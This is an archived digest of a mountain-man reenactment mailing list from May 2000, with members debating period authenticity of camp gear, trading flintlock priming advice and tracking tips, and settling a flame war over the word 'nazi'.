>Walt,
>So what do you want Walt, photos? Lessee, there are a few floating around
>and I have some myself, somewhere.. Includeing one from the 1994 AMM
Easten,
>"Most Correct Camp" That earned me the Silver Cup that year.
>New Madiosn is mebby 900 people, if you count dogs & kids. I set my camp in
>in the Alleghenies, Smokies & Blue Ridge Mtns. Along with some grand, wild
>forested areas around here. I haven't had an opportunity to camp in the
>Shinin' Mtns for several years, as I am a bladesmith and we don't exactly
>rake in a fortune for travel. And what sort of ref. does the AMM crack
mean?
>Because I am from the East I shouldn't open my mouth? Well, crack a book
>bud, the Mtn Men came from somewhere.. Wanna guess where? Doc Newell was
>from 50 miles South of here, in Ross, Ohio.... So I wouldn't even wanna
>touch that tangent.. There are an awful lot of Eastern Brothers that may
>take unbrage with it, along with more than a few I know from the West.
>And I believe this "duscussion" started because I queried the AUTHENTICITY
>of waxed NYLON. And I don't ever remember seeing it on a trade list from
>Ashley, HBC, AFC, Bent or any other I have seen.. So what do you consider
>education? The wonders of modern innovations, like artificial sinew &
>naugahyde and the notion of if had it they 'd a used it?
>
>
>Dennnis Miles
>AMM#1622 Hiveranno
>Party Chief, Doc Newell Party, Ohio
>
>
>
>"Abair ach beagan is abair gu math e"
>          DOUBLE EDGE FORGE
>  Period Knives & Iron Accoutrements
>   http://www.bright.net/~deforge1
>  "Knowing how is just the beginning"
>
>----- Original Message -----
>From: Walt Foster <[e-mail]>
>To: <[e-mail]>
>Sent: Thursday, May 11, 2000 12:10 PM
>Subject: Re: MtMan-List:D. camp
>
>
>> Hello John...errrr D.
>>
>> Getting on the ground.  You did not give me a very detailed description
of
>> your camp.  Just a few things you are carrying.  BTW how big is New
>Madison,
>> Ohio.  And what mountains do you set your camp in?  I for one would like
>to
>> know more and after all this list is dedicated to American Mountain Man
>> education is it not?
>>
>> Walt
>> Park City, Montana
>>
>>
>> ----- Original Message -----
>> From: "D Miles" <[e-mail]>
>> To: <[e-mail]>; <[e-mail]>
>> Sent: Wednesday, May 10, 2000 12:35 PM
>> Subject: Re: MtMan-List:was saw now its cordage
>>
>>
>> > Walt Wrote:
>> > > So what does D. camp look like?
>> >
>> >
>> > Walt,
>> >  Like a camp, a oilcloth tarp over the top if it is a pouring or
snowing
>> > like a banshee, or no cloth if natural shelter is available.  And nada
>> when
>> > it's nice. A couple a blankets or the robe. A tinned brass kettle and a
>> > canteen usually.  My gun, bag and haversack laying around somewhere in
>> > reach.A jug at some AMM doins. Nothin fancy. It is like that if I am by
>> > myself, with Gwen,  in a big public doins or in the middle of no damned
>> > where. What did you have in mind?
>> > Dennis
>> >
>> > "Abair ach beagan is abair gu math e"
>> >           DOUBLE EDGE FORGE
>> >   Period Knives & Iron Accoutrements
>> >    http://www.bright.net/~deforge1
>> >   "Knowing how is just the beginning"
>> >
>> >
>> >
>> > ----------------------
>> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>>
>> ----------------------
>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>
>
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From: [e-mail]
Subject: Re: MtMan-List: artificial sinew
Date: 11 May 2000 14:29:44 -0500

Washtahay-
At 02:59 PM 5/10/00 -0500, you wrote:
>    Yes, I believe we all "strive to improve" and most of us would rather
>use real sinew.  However, not everyone bags a deer, or elk or any big game
>each year.  I admire those who are able to ignore the square life and
>[legally?] hunt and bag six or ten deer a year. And who have time to harvest
>the sinew and hand tan the hides and hand make their gear.
    I've said it before and I'll say it again-the highway is a buckskinner's
friend.  Where its legal, harvesting of road-killed deer provides a ready
source of raw materials.  Contacts with sheriff's departments, etc can be
quite productive.  Sure, you can't get all of them, but two or three deer
over a year's time can be quite a windfall.
    If this isn't practical, or legal where you are, there are other sources.
In the past, I've bought deer hides from processors for example.  Sinew and
raw hides can be purchased from various vendors as well.

LongWalker c. du B.


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From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List:D. camp
Date: 11 May 2000 16:02:40 -0400

Damn Bill... Mebby I need to charge more...Wanna buy a knife???<G>
I don't skin folks too bad, unless of course they piss me off...<BSEG>
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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From: [e-mail]
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 11 May 2000 17:03:51 EDT

In a message dated 5/11/00 7:19:39 AM Pacific Daylight Time,
[e-mail] writes:

<< For what my opinion is worth, if we can not let this dog (topic) die, at
 least give up the subject  line using the term "Nazis."  It is an extremely
 offensive term, and one to which, I at least, take particular umbrage.  >>

I tried my darnedest to stay out of this freycus.  But I can't help my self
now.  Are we really going to go from one extreme ( Authenticity Nazis ) to
the other (Politically Correct) ?  Authenticity Nazis' although thier hearts
are generally in the right place unless they are just the "I been at it so
long everybody better bow to me" types tend to take the fun out of things
without intending to. And the Politically Correct, well I best not get
started. But as I recall wearing fur ain't Politically Correct.  Let's find a
middle ground and go back to the interesting discussions that make this a
worthwhile list.

Longshot

"Longshot's Rendezvous Homepage"
http://members.aol.com/lodgepole/longshot.html

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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Nazi's. Last word.(from me)
Date: 11 May 2000 15:43:29 -0600

Make it hemp. If I can't tie it. . .well. . .
-----Original Message-----


>That'll be a pleasure Bill... And I will give you a nice 20' piece of
>cordage or hemp string  while I am at it!!<GG>
>D
>
>"Abair ach beagan is abair gu math e"
>          DOUBLE EDGE FORGE
>  Period Knives & Iron Accoutrements
>   http://www.bright.net/~deforge1
>  "Knowing how is just the beginning"
>
>
>
>----------------------
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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List:D. camp
Date: 11 May 2000 15:44:56 -0600

I've been collecting Gonzalez knives. Probably have enough to outfit a
pirate ship.
-----Original Message-----


>Damn Bill... Mebby I need to charge more...Wanna buy a knife???<G>
>I don't skin folks too bad, unless of course they piss me off...<BSEG>
>D
>
>"Abair ach beagan is abair gu math e"
>          DOUBLE EDGE FORGE
>  Period Knives & Iron Accoutrements
>   http://www.bright.net/~deforge1
>  "Knowing how is just the beginning"
>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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From: [e-mail]
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 11 May 2000 17:49:58 -0500

Washtahay-
At 01:40 PM 5/11/00 EDT, you wrote:
>>History be damned.  Give me humans with some soul anyday.  From now on, I<
>>will proudly be with those in chrome tan who care about other human beings.<
>
>... so the elitist bastards came out from behind their little walled in
>enclave and spout off, then the list, and buckskinning in general, loses
>another good one.
    While I can't speak for everyone, please allow me to apologize for my
mistakes.  I occasionally forget I am a member of a culture that worships
mediocrity, one that has failed to consider that the logical consequences
of the words "We hold these truths to be self-evident; that all men are
created equal..." is that where one goes and what one does from the point
of creation is what tells the value of a person.
    Since I obviously am unable to understand what is going on, can I ask some
questions?  Like, what indicates this person is a "good one?"
    And while I'm sure everyone sees this but me but I have to ask: was it the
nazi comment that should have clued me in that someone was reaching out for
help?  I can never get these things straight.
LongWlaker c. du B.




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From: [e-mail]
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 11 May 2000 19:29:53 EDT

In a message dated 5/11/00 4:13:46 PM Pacific Daylight Time,
[e-mail] writes:

>   Since I obviously am unable to understand what is going on, can I ask some
>  questions?  Like, what indicates this person is a "good one?"

It seems to me (and it should be obvious to the members of any organization
that NEEDS new members) that anyone thats got an interest in the sport/hobby,
and is willing to learn in order to move themselves out of mediocrity is a
'good one', and should be nurtured along in their pursuit...  at least until
proven otherwise.

>   And while I'm sure everyone sees this but me but I have to ask: was it the
>  nazi comment that should have clued me in that someone was reaching out for
>  help?

You connsolidated two thoughts of mine there Longwalker.  Or maybe it was me.
 Sorry for the confuddlement.

Barney



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From: [e-mail]
Subject: MtMan-List: Re:Authenticity
Date: 11 May 2000 19:29:58 EDT


    "the air was calm serene and cold and the stars shone with an uncommon
brightness   after sleeping till about Midnight I arose and renewed the fire.
 My horse was continually walking backwards and forwards to keep from
freezing.  I was upwards of 6,000 ft about (above) the level of the lake,
below me was a dark abyss silent as the night of Death."

Osborne Russell
Journal of a Trapper 1834-1843

Doesn't get much more authentic than that.

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From: "Verlin Kinsey" <[e-mail]>
Subject: MtMan-List: Prining horn or not
Date: 11 May 2000 18:42:13 -0500



Having just gotten a couple of flinters, now comes the question...Do you
carry a separate priming horn, why or why not?

Sparky
>From the Flint Hills of Kansas





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From: Randal J Bublitz <[e-mail]>
Subject: Re: MtMan-List: Prining horn or not
Date: 11 May 2000 17:23:09 -0700

Hi Verlin,   I tend to carry 3f powder in a single horn, loading and
priming with the same stuff.  It is my understanding that existing
historical priming horns are rare.  The reason I don't use a priming horn
though, is for ease of use.  I have used 4f for priming, and not...I
can't tell any real difference in my shooting, it's always mediocre <g>.
 My best advice for shooting a flinter is this;  find someone who shoots
one well, and go shooting with them....ask for-and follow there advice.
I did this and my flinter abilities increased noticeably.    hardtack

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From: George Noe <[e-mail]>
Subject: MtMan-List: Cordage
Date: 11 May 2000 17:21:28 -0700 (PDT)

 No pro, but I made my belt out of Chow Dog hair.
 Made a "rope"about 12 ft. long and braided it.
 One size fits most.

=====
George R. Noe< [e-mail] >
Watch your back trail, and keep your eyes on the skyline.

__________________________________________________
Do You Yahoo!?
Send instant messages & get email alerts with Yahoo! Messenger.
http://im.yahoo.com/

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From: "Wynn & Gretchen Ormond" <[e-mail]>
Subject: MtMan-List: Picking a time frame
Date: 11 May 2000 06:35:01 -0600

This is a multi-part message in MIME format.

------=_NextPart_000_0012_01BFBB13.09072860
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    charset="iso-8859-1"
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Walt wrote:

Gourds would not have been present in the initial
years 1807-1825.  The Pony Trader period may be a different matter as
pointed out to me by Bill Cunningham and his friends.  The intercourse =
grew
stronger between the north and south rockies over the years.


Would Bill or someone else please tell me more about the changes that =
passage of time caused in the mountains.  For instance, 1825-1828 period =
saw a lot of action in a relatively virgin area that I now live in.  =
What would have been different for those boys in comparision to the 37 =
crowd.

Hungry for knowledge
WY
=20

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Walt wrote:</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>Gourds would not have been present in =
the=20
initial<BR>years 1807-1825.  The Pony Trader period may be a =
different=20
matter as<BR>pointed out to me by Bill Cunningham and his friends.  =
The=20
intercourse grew<BR>stronger between the north and south rockies over =
the=20
years.</FONT></DIV>
<DIV> </DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>Would Bill or someone else please tell =
me more=20
about the changes that passage of time caused in the =
mountains.  For=20
instance, 1825-1828 period saw a lot of action in a relatively virgin =
area=20
that I now live in.  What would have been different for those =
boys in=20
comparision to the 37 crowd.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2>Hungry for knowledge</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>WY</FONT></DIV>
<DIV> </DIV></BODY></HTML>

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From: "Wynn & Gretchen Ormond" <[e-mail]>
Subject: MtMan-List: Tracking
Date: 11 May 2000 06:44:31 -0600

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I read in the AMM membership requirements:

Must be able to demonstrate ability to track man or animal under natural =
wilderness conditions.=20

What is the test to pass such a requirement?  I started tracking deer =
and dogs in the mountains of my back yard, and about twelve years ago =
read Tom Browns books and started really looking at tracking =
differently.  But to tell the truth sometimes while riding along these =
hills my four year old will notice a track or identify an irregularity =
in a set of them before I do.   Is there somewhere/someone to go that =
could teach me more?=20

Still Hungry
WY
=20

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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I read in the AMM membership=20
requirements:</FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>Must be able to demonstrate ability to =
track man or=20
animal under natural wilderness conditions. </FONT></DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>What is the test to pass such a =
requirement? =20
I started tracking deer and dogs in the mountains of my back yard, and =
about=20
twelve years ago read Tom Browns books and started really looking at =
tracking=20
differently.  But to tell the truth sometimes while riding along =
these=20
hills my four year old will notice a track or identify an =
irregularity=20
in a set of them before I do.   Is there somewhere/someone to =
go that=20
could teach me more? </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2>Still Hungry</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>WY</FONT></DIV>
<DIV> </DIV></BODY></HTML>

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From: "Ratcliff" <[e-mail]>
Subject: Re: MtMan-List: Re:Authenticity
Date: 11 May 2000 19:49:23 -0500

Russell was camped in such a place for the sole purpose of watching the =
sun come up over the lake mentioned.  Just to see it.  Ain't that =
something?!
Lanney Ratcliff

----- Original Message -----=20
Sent: Thursday, May 11, 2000 6:29 PM


>=20
>     "the air was calm serene and cold and the stars shone with an =
uncommon=20
> brightness   after sleeping till about Midnight I arose and renewed =
the fire.=20
>  My horse was continually walking backwards and forwards to keep from=20
> freezing.  I was upwards of 6,000 ft about (above) the level of the =
lake,=20
> below me was a dark abyss silent as the night of Death."
>=20
> Osborne Russell
> Journal of a Trapper 1834-1843
>=20
> Doesn't get much more authentic than that. =20
>=20
> ----------------------
> hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html


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From: <[e-mail]>
Subject: Re: MtMan-List: Barrels
Date: 11 May 2000 19:39:38 -0600

Glenn Darilek wrote:

> Rolling barrels is Right.  That was before fork lifts, so making the
> shipping container also the vehicle was the ingenious way to go.
>
> YMOS
> Glenn Darilek
> Iron Burner
>
> [e-mail]  writes:
>
> > So why did they go to the expense of crafting a barrel to hold something
> like nails when a wooden box would be easier to make, and much cheaper.  So
> what is your answer?
>
> Is it because heavy barrels could be rolled?         Barney
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html

Not so much for rolling, but strength and could be reused over and over again.
Plus packing on an animal was easier on the animal than a box with sharp
corners and straight sides.

Buck


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From: "Larry Huber" <[e-mail]>
Subject: Re: MtMan-List: Prining horn or not
Date: 11 May 2000 18:53:48 -0700

Hey, Randy,
    I never tried this but it makes sense.  I know that all military muskets
were primed from the same powder as the main charge.  I suspect that the
touch holes were a bit larger, however.  I might give the single powder a
test on my .54 but I think I'll carry a 4F primer with my trade gun.  I burn
2F in that 20 gauge gun.

    Larry Huber
    #1517
----- Original Message -----
Sent: Thursday, May 11, 2000 5:23 PM


> Hi Verlin,   I tend to carry 3f powder in a single horn, loading and
> priming with the same stuff.  It is my understanding that existing
> historical priming horns are rare.  The reason I don't use a priming horn
> though, is for ease of use.  I have used 4f for priming, and not...I
> can't tell any real difference in my shooting, it's always mediocre <g>.
>  My best advice for shooting a flinter is this;  find someone who shoots
> one well, and go shooting with them....ask for-and follow there advice.
> I did this and my flinter abilities increased noticeably.    hardtack
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

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From: <[e-mail]>
Subject: Re: MtMan-List:D. camp
Date: 11 May 2000 19:42:04 -0600

D Miles wrote:

> Damn Bill... Mebby I need to charge more...Wanna buy a knife???<G>
> I don't skin folks too bad, unless of course they piss me off...<BSEG>
> D
>
> "Abair ach beagan is abair gu math e"
>           DOUBLE EDGE FORGE
>   Period Knives & Iron Accoutrements
>    http://www.bright.net/~deforge1
>   "Knowing how is just the beginning"
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html

amen



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From: <[e-mail]>
Subject: Re: MtMan-List: Gourds
Date: 11 May 2000 19:46:43 -0600

[e-mail] wrote:

> Walt,
>
> You stated that...........
> > is based on the 1836/1836 camp of Jim Bridger and is late enough in the
> period to be represented.  Gourds would not have been present in the initial
> years 1807-1825.
>         [Sickler, Louis L]
>         Can you tell us why?? Just curious.
>
>         Lou Sickler
>         Colorado Territory

before making a statement about gourds in this country, better take a look at
Jefferson's Garden Book, his garden was way before the dates quoted, and he
did a lot of seed trading east of the Mississippi.

Buck


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From: "elenyte" <[e-mail]>
Subject: MtMan-List: New to list
Date: 11 May 2000 19:52:14 -0600

Hi,
I'm new to the list and am interested in sewing clothing for my husband and
I for mountain man impression. I'd like to chat with other folks on the list
who are doing the same so that I can locate patterns or instructions and
also learn to do this "right". I live just west of Denver.

Helen


----------------------
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From: "Ratcliff" <[e-mail]>
Subject: MtMan-List: Date: Thu, 11 May 2000 21:00:35 -0500
Date: 11 May 2000 20:00:04 -0600

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There have been a lot of harsh words exchanged in the past few days and =
that, in itself, is OK.  We enter this cyber-arena with the willingness =
to agree to disagree, even argue...vehemently sometimes...about nearly =
anything,  giving and taking insults as the spirit moves us.  However, =
it is unfortunate that hot tempers can cause otherwise reasonable people =
to use some seriously pejorative words. =20
Words have meaning, and the words we choose to use can sometimes have an =
impact that was unintended.  I can't let pass without comment the use of =
"nazi".  It is a mistake to consider taking offense at the use of this =
word to be "being politically correct".  Since tens of millions of =
people were killed by nazis and the world very nearly destroyed by nazis =
and since my father died as a direct result of five nazi bullets I count =
that as the worst possible insult...by far.  It is absolutely offensive =
to me and should be to anyone else.
I am proud to be AMM and I try to keep a proper camp and carry and use =
proper plunder.  I try to improve my gear and will offer advice when =
asked.   This is the attitude of the vast majority of AMM brothers, =
including Dennis Miles and Larry Pendleton.  These good friends of mine =
were called nazis during the recent flame war, and that is shameful, =
simply shameful.  The language is full of better choices.
I was not a part of that flame war and I was not called a nazi.  That's =
good...nobody should ever be called a nazi.   Call me loud, talkative, =
pompous, boring, fat, anything.....but never, ever nazi.  God help =
anybody who ever does.
That is Exactly how my stick floats.
Lanney Ratcliff


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<META content=3D"MSHTML 5.00.2014.210" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>There have been a lot of harsh words exchanged in the past few =
days=20
and that, in itself, is OK.  We enter this cyber-arena with the =
willingness=20
to agree to disagree, even argue...vehemently =
sometimes...about nearly=20
anything,  giving and taking insults as the spirit moves us.  =
However, it=20
is unfortunate that hot tempers can cause otherwise reasonable =
people to=20
use some seriously pejorative words.  </DIV>
<DIV>Words have meaning, and the words we choose to use can sometimes =
have an=20
impact that was unintended.  I can't let pass without comment the =
use of=20
"nazi".  It is a mistake to consider taking offense at the use =
of this=20
word to be "being politically correct".  Since tens of =
millions of=20
people were killed by nazis and the world very nearly destroyed by nazis =
and=20
since my father died as a direct result of five nazi bullets I count =
that as=20
the worst possible insult...by far.  It is absolutely =
offensive=20
to me and should be to anyone else.</DIV>
<DIV>I am proud to be AMM and I try to keep a proper camp and carry and =
use=20
proper plunder.  I try to improve my gear and will offer advice =
when=20
asked.   This is the attitude of the vast majority of AMM =

brothers, including Dennis Miles and Larry Pendleton.  These good =
friends=20
of mine were called nazis during the recent flame war, and that is =
shameful,=20
simply shameful.  The language is full of better =
choices.</DIV>
<DIV>I was not a part of that flame war and I was not called a=20
nazi.  That's good...nobody should ever be called a =
nazi.   Call=20
me loud, talkative, pompous, boring, fat, anything.....but never, =
ever=20
nazi.  God help anybody who ever does.</DIV>
<DIV><FONT size=3D3>That is Exactly how my stick floats.</FONT></DIV>
<DIV>Lanney Ratcliff</DIV>
<DIV> </DIV></BODY></HTML>

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From: "Ratcliff" <[e-mail]>
Subject: Re: MtMan-List: Prining horn or not
Date: 11 May 2000 21:03:35 -0500

Larry,
You should try 3f in the trade gun.  I use about 70 grains of 3f under a =
ball or shot and prime from the same horn.  Works good.  Of course, a =
larger charge can be used, but this works fine in my .62 for target =
work.
Lanney Ratcliff

----- Original Message -----=20
Sent: Thursday, May 11, 2000 8:53 PM


> Hey, Randy,
>     I never tried this but it makes sense.  I know that all military =
muskets
> were primed from the same powder as the main charge.  I suspect that =
the
> touch holes were a bit larger, however.  I might give the single =
powder a
> test on my .54 but I think I'll carry a 4F primer with my trade gun.  =
I burn
> 2F in that 20 gauge gun.
>=20
>     Larry Huber
>     #1517
> ----- Original Message -----
> From: Randal J Bublitz <[e-mail]>
> To: <[e-mail]>
> Sent: Thursday, May 11, 2000 5:23 PM
> Subject: Re: MtMan-List: Prining horn or not
>=20
>=20
> > Hi Verlin,   I tend to carry 3f powder in a single horn, loading and
> > priming with the same stuff.  It is my understanding that existing
> > historical priming horns are rare.  The reason I don't use a priming =
horn
> > though, is for ease of use.  I have used 4f for priming, and not...I
> > can't tell any real difference in my shooting, it's always mediocre =
<g>.
> >  My best advice for shooting a flinter is this;  find someone who =
shoots
> > one well, and go shooting with them....ask for-and follow there =
advice.
> > I did this and my flinter abilities increased noticeably.    =
hardtack
> >
> > ----------------------
> > hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html
> >
>=20
> ----------------------
> hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html


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-------------------------------------------------------------------------------

From: <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 11 May 2000 19:59:12 -0600

D Miles wrote:

> HE also forgot the bunny slippers.... But I stole 'em from his camp.. He
> said he bought 'em from some outfit called Clark & Son's....<G>
>

They where a close-out item that the young ladies liked.

C&SM



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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Prining horn or not
Date: 11 May 2000 21:19:52 -0700

Lanney,
  I'll try that in the future.  I got a deal on a bunch of 2f.  I try to use
what I have.  I prime with what ever I have in the main horn.  Works for me.
Of course I can't hit anything anyway.
Pendleton
-----Original Message-----


Larry,
You should try 3f in the trade gun.  I use about 70 grains of 3f under a
ball or shot and prime from the same horn.  Works good.  Of course, a larger
charge can be used, but this works fine in my .62 for target work.
Lanney Ratcliff

----- Original Message -----
Sent: Thursday, May 11, 2000 8:53 PM


> Hey, Randy,
>     I never tried this but it makes sense.  I know that all military
muskets
> were primed from the same powder as the main charge.  I suspect that the
> touch holes were a bit larger, however.  I might give the single powder a
> test on my .54 but I think I'll carry a 4F primer with my trade gun.  I
burn
> 2F in that 20 gauge gun.
>
>     Larry Huber
>     #1517
> ----- Original Message -----
> From: Randal J Bublitz <[e-mail]>
> To: <[e-mail]>
> Sent: Thursday, May 11, 2000 5:23 PM
> Subject: Re: MtMan-List: Prining horn or not
>
>
> > Hi Verlin,   I tend to carry 3f powder in a single horn, loading and
> > priming with the same stuff.  It is my understanding that existing
> > historical priming horns are rare.  The reason I don't use a priming
horn
> > though, is for ease of use.  I have used 4f for priming, and not...I
> > can't tell any real difference in my shooting, it's always mediocre <g>.
> >  My best advice for shooting a flinter is this;  find someone who shoots
> > one well, and go shooting with them....ask for-and follow there advice.
> > I did this and my flinter abilities increased noticeably.    hardtack
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


----------------------
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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Prining horn or not
Date: 11 May 2000 21:51:48 -0700

OOOOPS !  Lanney was responding to a different Larry.  Oh well !
Pendleton
-----Original Message-----


Lanney,
  I'll try that in the future.  I got a deal on a bunch of 2f.  I try to use
what I have.  I prime with what ever I have in the main horn.  Works for me.
Of course I can't hit anything anyway.
Pendleton
-----Original Message-----


Larry,
You should try 3f in the trade gun.  I use about 70 grains of 3f under a
ball or shot and prime from the same horn.  Works good.  Of course, a larger
charge can be used, but this works fine in my .62 for target work.
Lanney Ratcliff

----- Original Message -----
Sent: Thursday, May 11, 2000 8:53 PM


> Hey, Randy,
>     I never tried this but it makes sense.  I know that all military
muskets
> were primed from the same powder as the main charge.  I suspect that the
> touch holes were a bit larger, however.  I might give the single powder a
> test on my .54 but I think I'll carry a 4F primer with my trade gun.  I
burn
> 2F in that 20 gauge gun.
>
>     Larry Huber
>     #1517
> ----- Original Message -----
> From: Randal J Bublitz <[e-mail]>
> To: <[e-mail]>
> Sent: Thursday, May 11, 2000 5:23 PM
> Subject: Re: MtMan-List: Prining horn or not
>
>
> > Hi Verlin,   I tend to carry 3f powder in a single horn, loading and
> > priming with the same stuff.  It is my understanding that existing
> > historical priming horns are rare.  The reason I don't use a priming
horn
> > though, is for ease of use.  I have used 4f for priming, and not...I
> > can't tell any real difference in my shooting, it's always mediocre <g>.
> >  My best advice for shooting a flinter is this;  find someone who shoots
> > one well, and go shooting with them....ask for-and follow there advice.
> > I did this and my flinter abilities increased noticeably.    hardtack
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: Tim Hayden <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 11 May 2000 19:58:04 -0700 (PDT)

Greetings and many humble apologies to the list. I'm sorry I used the
terms Authenticity Nazis. Bad choice of words. Really sorry. I never
intended to attack or insult anyone but was only trying to point out
that NONE of us can ever BE 100% period correct. We are raised in a
modern society and that will affect everything we do or say. All of us
start at some level and most strive to get better. But I for one am
tired of the people who DO it right, but keep that SECRET knowledge to
themselves.    Tim


__________________________________________________
Do You Yahoo!?
Send instant messages & get email alerts with Yahoo! Messenger.
http://im.yahoo.com/

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-------------------------------------------------------------------------------

From: Mike Moore <[e-mail]>
Subject: Re: MtMan-List: New to list
Date: 11 May 2000 21:07:13 -0600

Helen,
    If I can help you let me know.
                                                mike.

elenyte wrote:

> Hi,
> I'm new to the list and am interested in sewing clothing for my husband and
> I for mountain man impression. I'd like to chat with other folks on the list
> who are doing the same so that I can locate patterns or instructions and
> also learn to do this "right". I live just west of Denver.
>
> Helen
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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-------------------------------------------------------------------------------

From: Mike Moore <[e-mail]>
Subject: Re: MtMan-List: Prining horn or not
Date: 11 May 2000 21:14:03 -0600

Larry,
I use 2f in my smooth bore for priming and in the main charge. Alot
depends on the size of the touch hole. You can on my gun, turn it on
it's side and knock it with your hand opposite on the touch hole and powder
will fall out of the pan. Try the 2f and see if your gun likes it. Madison
Grant's book on hunting pouches does show a few orignals that had
a small powder horn (for priming) but most seem to have only one horn
for both uses. does your gun have a liner around the touch hole?

mike.

larry pendleton wrote:

> Lanney,
>   I'll try that in the future.  I got a deal on a bunch of 2f.  I try to use
> what I have.  I prime with what ever I have in the main horn.  Works for me.
> Of course I can't hit anything anyway.
> Pendleton
> -----Original Message-----
> From: Ratcliff <[e-mail]>
> To: [e-mail] <[e-mail]>
> Date: Thursday, May 11, 2000 7:03 PM
> Subject: Re: MtMan-List: Prining horn or not
>
> Larry,
> You should try 3f in the trade gun.  I use about 70 grains of 3f under a
> ball or shot and prime from the same horn.  Works good.  Of course, a larger
> charge can be used, but this works fine in my .62 for target work.
> Lanney Ratcliff
>
> ----- Original Message -----
> From: Larry Huber <[e-mail]>
> To: <[e-mail]>
> Sent: Thursday, May 11, 2000 8:53 PM
> Subject: Re: MtMan-List: Prining horn or not
>
> > Hey, Randy,
> >     I never tried this but it makes sense.  I know that all military
> muskets
> > were primed from the same powder as the main charge.  I suspect that the
> > touch holes were a bit larger, however.  I might give the single powder a
> > test on my .54 but I think I'll carry a 4F primer with my trade gun.  I
> burn
> > 2F in that 20 gauge gun.
> >
> >     Larry Huber
> >     #1517
> > ----- Original Message -----
> > From: Randal J Bublitz <[e-mail]>
> > To: <[e-mail]>
> > Sent: Thursday, May 11, 2000 5:23 PM
> > Subject: Re: MtMan-List: Prining horn or not
> >
> >
> > > Hi Verlin,   I tend to carry 3f powder in a single horn, loading and
> > > priming with the same stuff.  It is my understanding that existing
> > > historical priming horns are rare.  The reason I don't use a priming
> horn
> > > though, is for ease of use.  I have used 4f for priming, and not...I
> > > can't tell any real difference in my shooting, it's always mediocre <g>.
> > >  My best advice for shooting a flinter is this;  find someone who shoots
> > > one well, and go shooting with them....ask for-and follow there advice.
> > > I did this and my flinter abilities increased noticeably.    hardtack
> > >
> > > ----------------------
> > > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> > >
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail]
Subject: Re: MtMan-List: How to make friends and influence people.
Date: 11 May 2000 21:59:23 -0500

Washtahay-
At 12:01 PM 5/11/00 -0700, you wrote:
>Is anyone listening to what he is saying besides me?
>snip<
>Someone else goes to
>his defense trying to cite  the many benefits of modern medical care we
>don't leave at home and he gets his head delivered in a sheet iron pan.
    He got "his head delivered in a sheet iron pan" for suggesting that those
who felt as did Larry Pendleton did were "authenticity nazis".  As I agreed
with Larry, he was calling me a "nazi".
    Well, some things I just won't tolerate, won't let people explain, won't
give them a chance to apologize for.  He found one.
    Yeah Captain.  Some of us are listening.
LongWalker c. du B.




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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: Tracking
Date: 11 May 2000 20:29:44 -0700

This is a multi-part message in MIME format.

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Wynn,

Maybe your doing just fine. Ever consider that your 4 year old has fresh =
eyes and is built closer to the ground? <G> Look through fresh eyes and =
get close to your work. Dave Pettersen in the NW Brigade does a good =
Rocky Mt. College on Tracking utilizing the principles taught by Search =
and Rescue people who often have to find folks that don't want to be =
found. There might be a good resource for you to look into. I remain....

YMOS
Capt. Lahti'
  ----- Original Message -----=20
  From: Wynn & Gretchen Ormond=20
  To: [e-mail]=20
  Sent: Thursday, May 11, 2000 5:44 AM
  Subject: MtMan-List: Tracking


  I read in the AMM membership requirements:

  Must be able to demonstrate ability to track man or animal under =
natural wilderness conditions.=20

